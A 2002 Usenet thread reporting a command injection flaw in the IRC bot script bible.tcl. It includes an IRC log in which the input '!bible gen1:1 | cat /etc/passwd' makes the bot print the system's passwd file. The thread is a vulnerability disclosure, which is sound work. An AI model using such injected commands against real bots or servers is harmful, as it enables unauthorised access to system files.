Security Hole in bible.tcl

[Avi Norowitz]

Hello,

I've found a fairly major security hole in bible.tcl.

See below:

[20:20:56] <AviN> !bible gen1:1 | cat /etc/passwd
[20:23:25] <vr-bot> root:x:0:0:root:/root:/bin/bash
[20:23:27] <vr-bot> daemon:x:1:1:daemon:/usr/sbin:/bin/sh
[20:23:28] <vr-bot> bin:x:2:2:bin:/bin:/bin/sh
[20:23:32] <vr-bot> sys:x:3:3:sys:/dev:/bin/sh
[20:23:34] <vr-bot> sync:x:4:100:sync:/bin:/bin/sync
[20:23:37] <vr-bot> games:x:5:100:games:/usr/games:/bin/sh
[20:23:41] <vr-bot> man:x:6:100:man:/var/cache/man:/bin/sh
...

You get the picture. :-)

--
"This APT has Super Cow Powers." http://ulag.net

[Uncle Bert Himperdunck]

thats funny.. the bible has a hole in it

"Avi Norowitz" <use...@ulag.net> wrote in message
news:20020709150103....@ulag.net...